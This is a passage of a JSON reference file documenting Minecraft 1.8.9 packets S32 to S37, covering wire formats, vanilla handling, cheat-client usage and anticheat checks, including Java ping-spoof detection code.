       "detailed_code": "// ===== FILE: ElevatedDev-Frequency, src/main/java/xyz/elevated/frequency/check/impl/pingspoof/PingSpoofA.java =====\npackage xyz.elevated.frequency.check.impl.pingspoof;\n\nimport xyz.elevated.frequency.check.CheckData;\nimport xyz.elevated.frequency.check.type.PacketCheck;\nimport xyz.elevated.frequency.data.PlayerData;\nimport xyz.elevated.frequency.exempt.type.ExemptType;\nimport xyz.elevated.frequency.wrapper.impl.client.WrappedPlayInFlying;\n\n@CheckData(name = \"PingSpoof (A)\")\npublic final class PingSpoofA extends PacketCheck {\n\n    public PingSpoofA(final PlayerData playerData) {\n        super(playerData);\n    }\n\n    @Override\n    public void process(final Object object) {\n        if (object instanceof WrappedPlayInFlying) {\n            final long transactionPing = playerData.getTransactionPing().get();\n            final long keepAlivePing = playerData.getKeepAlivePing().get();\n\n            final boolean joined = playerData.getTicks().get() - playerData.getJoined().get() < 10;\n            final boolean exempt = this.isExempt(ExemptType.LAGGING, ExemptType.TELEPORTING, ExemptType.TPS, ExemptType.CHUNK);\n\n            if (!exempt && !joined && transactionPing > keepAlivePing && Math.abs(transactionPing - keepAlivePing) > 50) fail();\n        }\n    }\n}\n// NOTE (AI): The two clocks diverge because spoofers usually target the transaction stream, the one anticheats historically trusted.",
       "code_source": "ElevatedDev-Frequency, src/main/java/xyz/elevated/frequency/check/impl/pingspoof/PingSpoofA.java",
       "variations": "Azure's PingSpoof sends its own random transaction ids and compares the echo delay to the reported NMS ping; both detect the same divergence."
      },
      {
       "name": "PingSpoof (Azure)",
       "found_in": [
        "AimbotPvP-azure-anticheat"
       ],
       "purpose": "Sends its own random transaction probes and compares the echo delay against the reported ping to expose spoofed latency.",
       "how_it_works": "On the first flying packet after a transaction, sends a server-bound transaction with a random id and sets the sent flag. When the client echoes it, the check compares the round-trip delay against the player's reported NMS ping: if the reported ping is more than 2.75 times the measured delay plus 50ms, it flags with the spoofed millisecond difference.",
       "detects": "Ping-spoof modules that inflate the reported ping while the real transaction echo stays fast.",
       "detailed_code": "// ===== FILE: AimbotPvP-azure-anticheat, src/main/java/us/skidrevenant/azure/check/checks/misc/PingSpoof.java =====\npackage us.skidrevenant.azure.check.checks.misc;\n\nimport net.minecraft.server.v1_8_R3.*;\nimport us.skidrevenant.azure.check.Check;\nimport us.skidrevenant.azure.stats.PlayerStats;\nimport us.skidrevenant.azure.util.entity.NMSUtil;\nimport us.skidrevenant.azure.util.math.MathUtil;\n\n/**\n * @author SkidRevenant\n * at 28/05/2018\n */\npublic class PingSpoof extends Check {\n\n    private boolean sent;\n\n    public PingSpoof(PlayerStats player) {\n        super(player);\n    }\n\n    @Override\n    public void onPacketReceiving(Class<? extends Packet> type, Packet packet) {\n        if (packet instanceof PacketPlayInTransaction) {\n            sent = false;\n\n            long delay = System.currentTimeMillis() - player.getLastMovePacket();\n\n            int playerPing = NMSUtil.getNmsPlayer(player.getBukkitPlayer()).ping;\n\n            if (delay < 20L) {\n                return;\n            }\n\n            if (playerPing > (delay + 50L) * 2.75) {\n                this.onViolation(String.format(\"PingSpoof (+%dms)\", playerPing - delay), 60000L, 0);\n            }\n\n        } else if (packet instanceof PacketPlayInFlying) {\n            if (sent) {\n                return;\n            }\n\n            NMSUtil.getNmsPlayer(player.getBukkitPlayer()).playerConnection.sendPacket(new PacketPlayOutTransaction(0, (short) MathUtil.RANDOM.nextInt(1000), false));\n            sent = true;\n        }\n    }\n}\n// NOTE (AI): The check self-generates the probe ids instead of relying on the vanilla transaction stream, which makes spoofing the expected ids harder.",
       "code_source": "AimbotPvP-azure-anticheat, src/main/java/us/skidrevenant/azure/check/checks/misc/PingSpoof.java",
       "variations": "Frequency compares two independent clocks; Azure compares the transaction clock against the server's own reported ping field."
      },
      {
       "name": "TransactionTracker (Hydro)",
       "found_in": [
        "Incognitolol-Hydro"
       ],
       "purpose": "Schedules anticheat work on the transaction confirmations using Pledge frames, and kicks on frame errors.",
       "how_it_works": "Registers pre and post actions against Pledge frame ids: confirmPre schedules work on the first id of a frame, confirmPost on the second. When a transaction frame arrives, the tracker runs every action scheduled for that id; missing or incomplete frames are handled as error events that kick the player.",
       "detects": "Transaction desync and confirmation manipulation: a client that drops or reorders confirmations produces missing or incomplete frames.",
       "detailed_code": "// ===== FILE: Incognitolol-Hydro, src/main/java/integral/studios/hydro/model/tracker/impl/TransactionTracker.java =====\npackage integral.studios.hydro.model.tracker.impl;\n\nimport com.google.common.collect.ArrayListMultimap;\nimport com.google.common.collect.Multimap;\nimport integral.studios.hydro.Hydro;\nimport integral.studios.hydro.model.tracker.Tracker;\nimport dev.thomazz.pledge.api.PacketFrame;\nimport dev.thomazz.pledge.api.event.ErrorType;\nimport dev.thomazz.pledge.api.event.PacketFrameErrorEvent;\nimport dev.thomazz.pledge.api.event.PacketFrameReceiveEvent;\nimport dev.thomazz.pledge.api.event.ReceiveType;\nimport integral.studios.hydro.model.PlayerData;\nimport lombok.Getter;\n\n@Getter\npublic class TransactionTracker extends Tracker {\n    private final Multimap<Short, Runnable> scheduledTransactions = ArrayListMultimap.create();\n\n    private final int splitCounter = 0;\n\n    public TransactionTracker(PlayerData playerData) {\n        super(playerData);\n    }\n\n    public void handleTransaction(PacketFrameReceiveEvent event) {\n        short id = (short) (event.getType() == ReceiveType.RECEIVE_START\n                ? event.getFrame().getId1()\n                : event.getFrame().getId2()\n        );\n\n        if (scheduledTransactions.containsKey(id)) {\n            for (Runnable runnable : scheduledTransactions.removeAll(id)) {\n                runnable.run();\n            }\n        }\n    }\n\n    public void handleTransactionError(PacketFrameErrorEvent event) {\n        if (event.getType() == ErrorType.MISSING_FRAME) {\n            // KICK THE PLAYER\n        }\n\n        if (event.getType() == ErrorType.INCOMPLETE_FRAME) {\n            // KICK THE PLAYER\n        }\n    }\n\n    public void confirmPre(Runnable runnable) {\n        try {\n            PacketFrame frame = Hydro.get().getPledge().getOrCreateFrame(playerData.getBukkitPlayer());\n\n            scheduledTransactions.put((short) frame.getId1(), runnable);\n        } catch (Exception ignored) {\n\n        }\n    }\n\n    public void confirmPost(Runnable runnable) {\n        PacketFrame frame = Hydro.get().getPledge().getOrCreateFrame(playerData.getBukkitPlayer());\n\n        if (frame == null) {\n            return;\n        }\n\n        scheduledTransactions.put((short) frame.getId2(), runnable);\n    }\n}\n// NOTE (AI): Hydro is the only corpus anticheat that delegates the transaction clock to Pledge instead of implementing the echo map itself.",
       "code_source": "Incognitolol-Hydro, src/main/java/integral/studios/hydro/model/tracker/impl/TransactionTracker.java",
       "variations": "Grim implements the same two-phase ordering natively; Hydro outsources it to Pledge and turns frame errors into kicks."
      }
     ]
    }
   },
   "wiki_notes": [
    "Server reply to C0F click: byte windowId, short actionNumber, bool accepted. Accepted=false rejects the click and the client reverts its inventory view.",
    "After a reject the server pushes a full S30 WindowItems resync so client slots match server truth. Action numbers are per-window short counters echoed exactly.",
    "MCP 1.8.9 S32PacketConfirmTransaction implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleConfirmTransaction; wire serde is readPacketData/writePacketData via readBoolean, readShort, readUnsignedByte.",
    "1.8.9 callers: NetHandlerPlayServer.processClickWindow sends new S32PacketConfirmTransaction (line 1031): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/network/NetHandlerPlayServer.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S32PacketConfirmTransaction/",
   "mcp_path": "net/minecraft/network/play/server/S32PacketConfirmTransaction.java",
   "group": "play-client",
   "logic_classes": [
    "NetHandlerPlayServer"
   ]
  },
  {
   "id": "S33PacketUpdateSign",
   "hex": "0x33",
   "dec": 51,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Update Sign",
   "desc": "Updates a sign's text for all nearby players.",
   "tags": [
    "world",
    "block",
    "sign"
   ],
   "fields": [
    {
     "name": "pos",
     "type": "BlockPos",
     "desc": "Sign position"
    },
    {
     "name": "lines",
     "type": "IChatComponent[4]",
     "desc": "4 lines of text"
    }
   ],
   "encoding": [
    [
     "Block Position",
     "BlockPos (long)",
     ""
    ],
    [
     "Line 1",
     "Chat Component (JSON)",
     ""
    ],
    [
     "Line 2",
     "Chat Component (JSON)",
     ""
    ],
    [
     "Line 3",
     "Chat Component (JSON)",
     ""
    ],
    [
     "Line 4",
     "Chat Component (JSON)",
     ""
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleUpdateSign()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S33PacketUpdateSign carries one sign's text: a BlockPos (packed long) plus four chat components. The server sends it to every player tracking the chunk when a sign is placed or edited, including the editing player, so the client replaces the tile entity's lines and re-renders. The content is formatted text, not raw strings, so formatting codes and component metadata survive the trip."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleUpdateSign looks up the tile entity at the packet position, copies the four lines into TileEntitySign.signText, and if the local player is editing that sign, overwrites the GUI's text fields with the server's canonical text. TileEntitySign.func_145912_a (line 116 in the bundled sources) builds the packet from the raw lines. The client trusts the content completely; there is no length or content validation beyond the component format."
     },
     {
      "h": "Why clients touch it",
      "p": "None of the 8 clients has a module for this packet. The only non-vanilla hits are the Rise 6.x NetworkAPI script registration table (both 6.1.30 and 6.2.4) and the vanilla handler files. NameProtect-style modules, which would rewrite sign text to hide player names, do not appear in any of the 8 corpora. The packet has no movement, combat or inventory value, so cheat clients have no reason to intercept it."
     },
     {
      "h": "Exploit surface",
      "p": "The content is untrusted server data rendered directly into the world, so the only theoretical abuse is component injection: a malicious server can embed hover and click events in sign lines. The client renders them, and none of the 8 clients sanitizes components. That is a server-side attack vector, not a cheat surface. No anti-cheat measures S33 because it carries no gameplay-trust signal."
     }
    ],
    "overview": "Zero module hits in the 8 clients. Sign text is display-only world data with no cheat value, and NameProtect-style rewriting is absent from all 8 corpora. The only non-vanilla reference is the Rise 6.x script API registration table.",
    "server_handling": "TileEntitySign.func_145912_a (line 116) constructs S33(world, pos, lines) from signText, and the server broadcasts it to every player tracking the chunk. NetHandlerPlayClient.handleUpdateSign finds the tile entity, writes the four components into signText, and if the player is editing that sign, pushes the canonical text into the editor GUI. No validation of line content or length beyond the chat component format.",
    "protocol_notes": "Wire: BlockPos packed as a long (x 26 bits, y 12 bits, z 26 bits), then four IChatComponent JSON strings, each VarInt length-prefixed UTF-8. Lines are chat components, so formatting codes survive. PLAY state only. The placing player receives the packet back, which is how the editor confirms the server accepted the write.",
    "anticheat_landscape": "Nothing to flag: S33 is authoritative world data sent once per sign change, and no movement, combat or inventory check reads it. The only conceivable issue is rendering-injection via crafted components from a malicious server, a client-side rendering decision no anti-cheat polices.",
    "modules": [],
    "general_hooks": "No module hooks exist in the corpus. The packet reaches tile entities exclusively through the vanilla handler.",
    "client_variations": "Rise 6.1.30 and 6.2.4 register S33 in NetworkAPI so scripts can intercept it; every other client in the corpus reaches it only through the vanilla NetHandlerPlayClient handler.",
    "related": [
     "C12PacketUpdateSign",
     "S02PacketChat"
    ],
    "anticheat": {
     "overview": "No anticheat in the corpus runs a check on the sign-update packet. The only real server-side reference is Artemis, which registers PacketPlayServerUpdateSign at SERVER_PLAY + 82; the rest of the mined corpus is keyword noise from the search term Sign: client-side sign-editing handling (C12PacketUpdateSign in Grim ExploitB and Vrekt-Arc PayloadFrequency, MC|BSign payload checks in Truthful CrasherA and Grim, Intave ItemCrashTracker.checkSign on Client.UPDATE_SIGN), sign block physics and placement in NoCheatPlus AutoSign, Kauri Materials and ThotPatrol UtilBlock, and unrelated JVM method-signature code in Intave's bundled ASM library. Sign text is authoritative world data the client renders, so server-side anticheats have nothing to measure.",
     "checks": []
    }
   },
   "wiki_notes": [
    "BlockPos packed long plus 4 sign lines as JSON chat components. Server broadcasts it to chunk trackers when a sign is placed or edited.",
    "Client writes the lines into TileEntitySign and re-renders; the placing player gets it back as the edit confirmation.",
    "MCP 1.8.9 S33PacketUpdateSign implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleUpdateSign; wire serde is readPacketData/writePacketData via readBlockPos, readChatComponent.",
    "1.8.9 callers: TileEntitySign.getDescriptionPacket sends new S33PacketUpdateSign (line 128): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/tileentity/TileEntitySign.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S33PacketUpdateSign/",
   "mcp_path": "net/minecraft/network/play/server/S33PacketUpdateSign.java",
   "group": "play-client",
   "logic_classes": []
  },
  {
   "id": "S34PacketMaps",
   "hex": "0x34",
   "dec": 52,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Maps",
   "desc": "Updates a map item's data (pixels, colors).",
   "tags": [
    "map",
    "item"
   ],
   "fields": [
    {
     "name": "mapId",
     "type": "VarInt",
     "desc": "Map item damage value"
    },
    {
     "name": "data",
     "type": "byte[]",
     "desc": "Map pixel colors"
    }
   ],
   "encoding": [
    [
     "Map ID",
     "VarInt",
     ""
    ],
    [
     "Data Length",
     "VarInt",
     ""
    ],
    [
     "Data",
     "byte[]",
     "Pixel colors + scale + coords + icons"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleMaps()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S34PacketMaps delivers a map item's data: VarInt map id, byte scale, a collection of Vec4b map decorations (type, x, y, rotation), a short patch width, a short patch height, and the patch bytes, each a 4-bit palette index into the map color table. MapData builds it from the dirty column region; a full refresh goes out every fifth tick, incremental patches in between."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleMaps looks up MapData by map id in the player's inventory, applies the column patch into the colors buffer, updates scale and decorations, and marks the map for re-render. MapData.func_176101_a (lines 244-246 in the bundled sources) constructs the packet; the 5-tick full refresh keeps the renderer honest when no patch traffic flows. The client trusts the patch dimensions and writes them into the render buffer directly."
     },
     {
      "h": "Why clients touch it",
      "p": "None of the 8 clients has a module for this packet. The only non-vanilla hits are the Rise 6.x NetworkAPI script registration table (both 6.1.30 and 6.2.4) and the vanilla handler files. No ESP, no map exploit, no minimap integration consumes S34 in these corpora. Map pixels are world render data with no entity, inventory or movement signal, so cheat clients have nothing to gain from it."
     },
     {
      "h": "Exploit surface",
      "p": "The only theoretical abuse is server-side: a malicious server can send patch dimensions that exceed the map buffer and stress the client renderer. That is a denial-of-service vector against the client, not a cheat surface, and no client in the corpus defends against it. No anti-cheat measures S34 because it carries no gameplay-trust signal."
     }
    ],
    "overview": "Zero module hits in the 8 clients. Map pixel patches are pure render data; no ESP or map-exploit module consumes S34 in these corpora. The only non-vanilla reference is the Rise 6.x script API registration table.",
    "server_handling": "MapData.func_176101_a (lines 244-246) produces S34(mapId, scale, visible decorations, colors, minX, minY, width, height); a full refresh is emitted every fifth tick (field_176109_i % 5 == 0) and dirty-column patches in between. NetHandlerPlayClient.handleMaps resolves the MapData by id from the player's inventory, copies the patch into the colors array, refreshes scale and decorations, and triggers a re-render. The client applies the patch without validating dimensions.",
    "protocol_notes": "Wire: VarInt mapId, byte scale, VarInt icon count, then per icon a byte type, byte x, byte y, byte rotation, then short patch width, short patch height, then width x height bytes of 4-bit palette indexes. The patch is a dirty-column region; the full 128x128 refresh is a single patch with 16,384 bytes of indexes. PLAY state only, delivered to players who hold the map or stand near it.",
    "anticheat_landscape": "No anti-cheat touches S34: it is render data delivered to map holders and nearby players. The only risk is a malicious server sending oversized patches to load the client renderer, a server-side attack with no client cheat counterpart.",
    "modules": [],
    "general_hooks": "No module hooks exist in the corpus. The packet reaches MapData exclusively through the vanilla handler.",
    "client_variations": "Rise 6.1.30 and 6.2.4 register S34 in NetworkAPI for scripts; the other six clients carry only the vanilla handler.",
    "related": [
     "S2FPacketSetSlot",
     "S30PacketWindowItems"
    ],
    "anticheat": {
     "overview": "No anti-cheat consumes S34. The corpus sweep for S34PacketMaps and PacketPlayOutMap returns only keyword noise from the chunk family: Artemis' HardcodeMap generator and its GPacketPlayServerChunkLoad and GPacketPlayServerChunkLoadBulk wrappers match on the PacketPlayOutMapChunk class names, and Kauri's BlockUpdateHandler Javadoc mentions a wrapped map-chunk packet. None of these read map item data. S34 is pure render state for players holding or standing near a map, with no movement, combat or inventory signal, so no check in any cloned anticheat references it.",
     "checks": []
    }
   },
   "wiki_notes": [
    "Scale runs 0 to 4, where 0 is fully zoomed in at 1 block per pixel and 4 is fully zoomed out at 16 blocks per pixel.",
    "Each map icon carries a type plus X and Z in map coordinates (-128 for the far edge to +127) and a direction of 0-15, where 0 is a vertical icon and each step rotates 22.5 degrees.",
    "MCP 1.8.9 S34PacketMaps implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleMaps; wire serde is readPacketData/writePacketData via readByte, readByteArray, readUnsignedByte, readVarIntFromBuffer.",
    "1.8.9 callers: MapData.getPacket sends new S34PacketMaps (line 270): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/world/storage/MapData.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S34PacketMaps/",
   "mcp_path": "net/minecraft/network/play/server/S34PacketMaps.java",
   "group": "play-client",
   "logic_classes": []
  },
  {
   "id": "S35PacketUpdateTileEntity",
   "hex": "0x35",
   "dec": 53,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Update Tile Entity",
   "desc": "Updates NBT data for a tile entity (sign, skull, beacon, command block, etc.).",
   "tags": [
    "world",
    "block",
    "nbt"
   ],
   "fields": [
    {
     "name": "pos",
     "type": "BlockPos",
     "desc": "Tile entity position"
    },
    {
     "name": "action",
     "type": "byte",
     "desc": "Update action type"
    },
    {
     "name": "nbtData",
     "type": "NBTTagCompound",
     "desc": "Tile entity NBT data"
    }
   ],
   "encoding": [
    [
     "Position",
     "BlockPos (long)",
     ""
    ],
    [
     "Action",
     "unsigned byte",
     "1=update sign, 2=update skull, 3=update beacon, 4=update skull+base, 7=update endGateway"
    ],
    [
     "NBT Data",
     "NBT Tag",
     ""
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleUpdateTileEntity()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "Server-pushed NBT updates for tile entities: a BlockPos, a one-byte action type, and an NBT tag. The action discriminates the tile entity class (1 mob spawner, 2 command block, 3 beacon, 4 skull, 5 flower pot, 6 banner), and the client applies the tag only when the loaded tile entity at that position matches the action. It is the per-block complement to the block change packets: S22 and S23 carry block ids and metadata, while S35 carries the full compound for the entity attached to a block. Sign line edits, skull owner changes, beacon effect retunes and spawner entity swaps all arrive here."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleUpdateTileEntity dispatches on the main thread (PacketThreadUtil), checks isBlockLoaded(pos), fetches the tile entity, and calls readFromNBT only when the action matches the tile entity class; an unloaded position or a mismatched type is silently dropped, so a forged packet cannot create tile entities out of thin air. The producers are the tile entities themselves: TileEntityMobSpawner emits action 1, TileEntityCommandBlock 2, TileEntityBeacon 3, TileEntitySkull 4, TileEntityFlowerPot 5, TileEntityBanner 6."
     },
     {
      "h": "Why clients touch it",
      "p": "In this corpus they do not. The mined grep across all 8 clients returns only the vanilla handler, the EnumConnectionState registration, the INetHandlerPlayClient declaration and the tile entity producers; the only non-vanilla hit is Rise 6.1.30 and 6.2.4 NetworkAPI.java registering S35PacketUpdateTileEntity.class for the script engine. There is no SignESP, chest tracker or beacon ESP module referencing S35 in Memeware, Nekoware, Rise, Sigma, Spicy or Tenacity. The metadata drafts for Tenacity 6.0 ChestESP and SpawnerFinder fail corpus verification and are deliberately not listed."
     },
     {
      "h": "Exploit surface",
      "p": "Because the handler requires a loaded chunk and a matching tile entity class, the packet is a poor injection surface and no anti-cheat measures it. The realistic module use would be read-only: sniffing sign text players type, or tracking spawner and beacon changes for ESP. Their absence in these clients is a corpus fact rather than a protocol limitation; nothing about the wire format stops a client from observing the stream."
     }
    ],
    "overview": "The tile entity state channel: the server pushes NBT diffs for signs, spawners, command blocks, beacons, skulls, flower pots and banners, and the client applies them only when the loaded tile entity matches the action byte. None of the 8 clients ships a module that reads or cancels this packet; the corpus holds only vanilla handler and producer hits plus Rise 6.x script API registration.",
    "server_handling": "The server never validates the payload beyond construction: each tile entity builds its own packet from its NBT via getUpdatePacket, and the server sends it to the relevant players. The readFromNBT gate on the client is the only enforcement point. The action byte is read as unsigned, so the vanilla set of 1-6 is a convention rather than a wire constraint; modded servers reuse the channel for custom tile entities.",
    "protocol_notes": "Wire layout: BlockPos (a packed long, x << 38 | z << 12 | y in the 1.8.9 encoding), an unsigned byte action, then a length-prefixed NBT compound. The NBT payload dominates the size: a banner pattern list or a long command block command can push the packet past the server compression threshold. Frequent beacon or spawner updates are a known bandwidth cost on chunk-heavy servers.",
    "anticheat_landscape": "No anti-cheat watches S35; it is server-trusted data flowing clientbound. The only abuse vector is a malicious server shipping crafted NBT to crash or lag clients, which is a server-side concern outside module scope. Clients gain nothing by spoofing it because the direction is clientbound and the handler discards mismatches, so the packet contributes nothing to detection or evasion.",
    "modules": [],
    "general_hooks": "The natural hook surface is PacketReceiveEvent, but no module in the 8-client corpus registers one for S35; Rise 6.x additionally exposes the class through its script NetworkAPI whitelist.",
    "client_variations": "Rise 6.1.30 and 6.2.4 let scripts match S35 through the script API packet registry; the other six clients carry only vanilla references.",
    "related": [
     "S36PacketSignEditorOpen",
     "S22PacketMultiBlockChange",
     "S49PacketUpdateEntityNBT"
    ],
    "anticheat": {
     "overview": "No anti-cheat consumes S35. Every corpus hit matches the TileEntity keyword rather than the packet: Grim's chunk readers and CompensatedWorld pass TileEntity arrays embedded in map-chunk data, NCP's BlockCache implementations call world.getTileEntity to read server-side block state, Kauri's BlockUpdateHandler forwards the same chunk-embedded array, Photon's WorldDownloaderSentinel writes a disable-tile-entity-saving option into the WorldDownloader channel, and intave's EntityTypeDataRegistry is a misnamed entity-type hitbox table. The only direct packet references are plumbing: Negativity's TILE_ENTITY_DATA constant, and Artemis' PacketRepository entry with the PacketPlayServerTileEntityData wrapper interface. Tile-entity policing runs on the commit side of sign edits instead: NCP AutoSign and Intave ItemCrashTracker.checkSign watch C12PacketUpdateSign, because S35 is server-trusted NBT the client applies only when the loaded tile entity matches the action byte.",
     "checks": []
    }
   },
   "wiki_notes": [
    "BlockPos, unsigned-byte action, full NBT compound. 1.8.9 actions: 1 spawner, 2 command block, 3 beacon, 4 skull, 5 flower pot, 6 banner.",
    "Client applies NBT only if a matching tile entity is loaded at the pos; mismatches and unloaded positions are silently dropped.",
    "MCP 1.8.9 S35PacketUpdateTileEntity implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleUpdateTileEntity; wire serde is readPacketData/writePacketData via readBlockPos, readNBTTagCompoundFromBuffer, readUnsignedByte.",
    "1.8.9 callers: TileEntityBanner.getDescriptionPacket sends new S35PacketUpdateTileEntity (line 98) +5 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/tileentity/TileEntityBanner.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S35PacketUpdateTileEntity/",
   "mcp_path": "net/minecraft/network/play/server/S35PacketUpdateTileEntity.java",
   "group": "play-client",
   "logic_classes": []
  },
  {
   "id": "S36PacketSignEditorOpen",
   "hex": "0x36",
   "dec": 54,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Sign Editor Open",
   "desc": "Opens the sign editor GUI for a specific sign position.",
   "tags": [
    "block",
    "sign",
    "gui"
   ],
   "fields": [
    {
     "name": "pos",
     "type": "BlockPos",
     "desc": "Sign position"
    }
   ],
   "encoding": [
    [
     "Position",
     "BlockPos (long)",
     ""
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleSignEditorOpen()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "One field, one purpose: the BlockPos of a sign the player may edit. The server sends it when the player right-clicks an edit-eligible sign (EntityPlayerMP.openEditSign), and the client opens GuiEditSign over that position. It is the request half of the sign edit flow; the committed text returns as C12PacketUpdateSign. It is the only play-state packet that forces a GUI open purely from coordinates, which makes it the canonical trigger point for sign automation."
     },
     {
      "h": "Vanilla handling",
      "p": "handleSignEditorOpen dispatches on the main thread, reads the tile entity at the position, and if it is not a TileEntitySign it fabricates one, attaches the world and position, then calls thePlayer.openEditSign. Because the handler constructs the tile entity, the packet works even when the sign block is not client-loaded, a quirk automation could lean on. Server side the producer is EntityPlayerMP.openEditSign, which sends S36 built from the sign's position."
     },
     {
      "h": "Why clients touch it",
      "p": "Zero module hits across all 8 clients. The mined grep returns only the vanilla handler, the EntityPlayerMP producer, the EnumConnectionState registration and the packet class, plus Rise 6.x script API registration. Auto-sign modules that auto-fill shop or claim signs would hook exactly this packet and answer with C12PacketUpdateSign, but none exists in Memeware, Nekoware, Rise, Sigma, Spicy or Tenacity. The metadata draft for an AutoSign module has no corpus backing and is omitted."
     },
     {
      "h": "Exploit surface",
      "p": "The packet is clientbound and only changes GUI state, so there is no exploit surface worth the name. A server can spam it to force the editor open, which is an annoyance rather than an exploit; the client honors it only while in game. Nothing validates, rate-limits or acknowledges it, and no anti-cheat measures it. The practical module use is benign: observing when the server grants edit rights, then answering with a pre-filled C12."
     }
    ],
    "overview": "The sign edit prompt: one BlockPos that makes the client open GuiEditSign. It is the request half of the sign flow, with the text committed separately via C12PacketUpdateSign. No module in the 8-client corpus hooks it, so the impl is a vanilla-only story about a GUI state transition with no exploit surface.",
    "server_handling": "EntityPlayerMP.openEditSign sends it with no validation beyond the right-click interaction; the server never tracks whether the client opened the editor. The sign text is only committed when C12PacketUpdateSign arrives, so S36 is a prompt rather than a lock: the server cannot tell an auto-filled response from a typed one.",
    "protocol_notes": "A single BlockPos encoded as the 1.8.9 packed long. PLAY state only. The packet implies a stateful client transition (GUI open) but carries no transaction id, so duplicates or reordered packets simply reopen the editor. This is also why modules cannot correlate a specific S36 with a specific C12 without tracking the position themselves.",
    "anticheat_landscape": "Irrelevant to anti-cheats: no movement, timing or combat signal. Servers that police auto sign filling do it by pattern-matching C12PacketUpdateSign text and measuring the latency between open and commit against human behavior. No module in the corpus exists to trigger such heuristics anyway.",
    "modules": [],
    "general_hooks": "The natural hook surface is PacketReceiveEvent, but no module in the 8-client corpus registers one for S36; Rise 6.x only adds the class to its script NetworkAPI whitelist.",
    "client_variations": "All 8 clients carry the byte-identical vanilla handler; the only non-vanilla reference anywhere in the corpus is the Rise 6.x script API registration.",
    "related": [
     "S35PacketUpdateTileEntity",
     "C12PacketUpdateSign"
    ],
    "anticheat": {
     "overview": "The sign editor open packet has an empty corpus: the sweep for S36PacketSignEditorOpen and PacketPlayOutSignEditorOpen returns zero hits across all 50 anticheats. The packet only flips GUI state, so anticheats police sign interaction on the commit side instead. NCP's AutoSign times the gap between the server granting edit rights and the C12PacketUpdateSign commit, and Intave's ItemCrashTracker.checkSign validates the returned sign lines; the open prompt itself carries no abuse signal and nothing in the corpus reads it.",
     "checks": []
    }
   },
   "wiki_notes": [
    "Single BlockPos of a sign the player may edit. Client opens the GuiEditSign editor over that position.",
    "Prompt only: text is committed separately via serverbound C12 UpdateSign, so the server cannot tell typed text from auto-filled.",
    "MCP 1.8.9 S36PacketSignEditorOpen implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleSignEditorOpen; wire serde is readPacketData/writePacketData via readBlockPos.",
    "1.8.9 callers: EntityPlayerMP.openEditSign sends new S36PacketSignEditorOpen (line 744): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/player/EntityPlayerMP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S36PacketSignEditorOpen/",
   "mcp_path": "net/minecraft/network/play/server/S36PacketSignEditorOpen.java",
   "group": "play-client",
   "logic_classes": [
    "EntityPlayerMP"
   ]
  },
  {
   "id": "S37PacketStatistics",
   "hex": "0x37",
   "dec": 55,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Statistics",
   "desc": "Updates statistic values (walk distance, damage dealt, items crafted, etc.).",
   "tags": [
    "player",
    "stats"
   ],
   "fields": [
    {
     "name": "statistics",
     "type": "Map<Statistic, Integer>",
     "desc": "Statistic-to-value mapping"
    }
   ],
   "encoding": [
    [
     "Count",
     "VarInt",
     ""
    ],
    [
     "Per-Stat",
     "VarInt+VarInt",
     "Stat ID + value"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleStatistics()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "The stats and achievements channel. The server ships a map of StatBase to integer value on join and after each stat change, and the client folds it into its StatisticsFile and triggers the achievement toast for positive achievement values. The payload mixes plain counters with achievements, so a module cannot silence the toast without also discarding the counters unless it rewrites the map."
     },
     {
      "h": "Vanilla handling",
      "p": "handleStatistics iterates the entry set and calls the stat file writer's readStat per entry, then triggers the toast sequence for achievements with a value greater than zero. Server side, StatisticsFile.sendStats dumps the full file on join and sendUpdate pushes a delta after each change, both via S37. It is the only path by which the client learns its own stats, which makes it the interception point for any stats-related module."
     },
     {
      "h": "Why clients touch it",
      "p": "Exactly one real module in the corpus: Rise 5.99 NoAchievements cancels every S37 on receive, killing the toast at the cost of stale local counters. The other seven clients have zero module hits; their corpus entries are the vanilla handler, the StatisticsFile producers, the registry and the Rise 6.x script NetworkAPI registration. The metadata draft for a StatSpoof module has no corpus backing. The landscape is thin because stats are cosmetic: they grant no combat, movement or rendering advantage."
     },
     {
